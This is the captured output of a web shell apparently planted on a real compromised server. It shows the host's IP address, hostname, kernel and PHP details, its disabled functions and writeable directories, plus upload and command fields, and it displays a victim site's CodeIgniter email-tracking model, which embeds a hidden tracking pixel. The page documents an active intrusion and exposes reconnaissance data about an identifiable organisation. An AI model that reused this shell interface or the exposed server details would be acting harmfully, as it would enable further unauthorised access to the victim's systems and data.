403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/nick/codeigniter/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/nick/codeigniter/application/models/Email_tracking_model.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Email_tracking_model extends BaseModel
{
    protected $table = 'email_tracking';

    public static function create_email_tracking($email, $table_name, $table_id, $type = null, $code = null, $remark = null)
    {
        if (empty($code)) {
            //random code
            $code = sha256_hash(time() . uniqid(mt_rand(), true));
        }

        $result = Email_tracking_model::create(array(
            'created_at' => date("Y-m-d H:i:s"),
            'created_by' => $_SESSION["sys_user_id"],
            'updated_at' => date("Y-m-d H:i:s"),
            'updated_by' => $_SESSION["sys_user_id"],
            'email' => $email,
            'table_name' => $table_name,
            'table_id' => $table_id,
            'type' => $type,
            'code' => $code,
            'remark' => $remark,
        ));

        $email = urlencode($email);

        if ($result->id) {
            return array('code' => $code, 'html' => '<img src="'.front_url('email_tracking/open/'.$email.'/'.$code).'" style="display:none !important;" />');
        } else {
            return null;
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit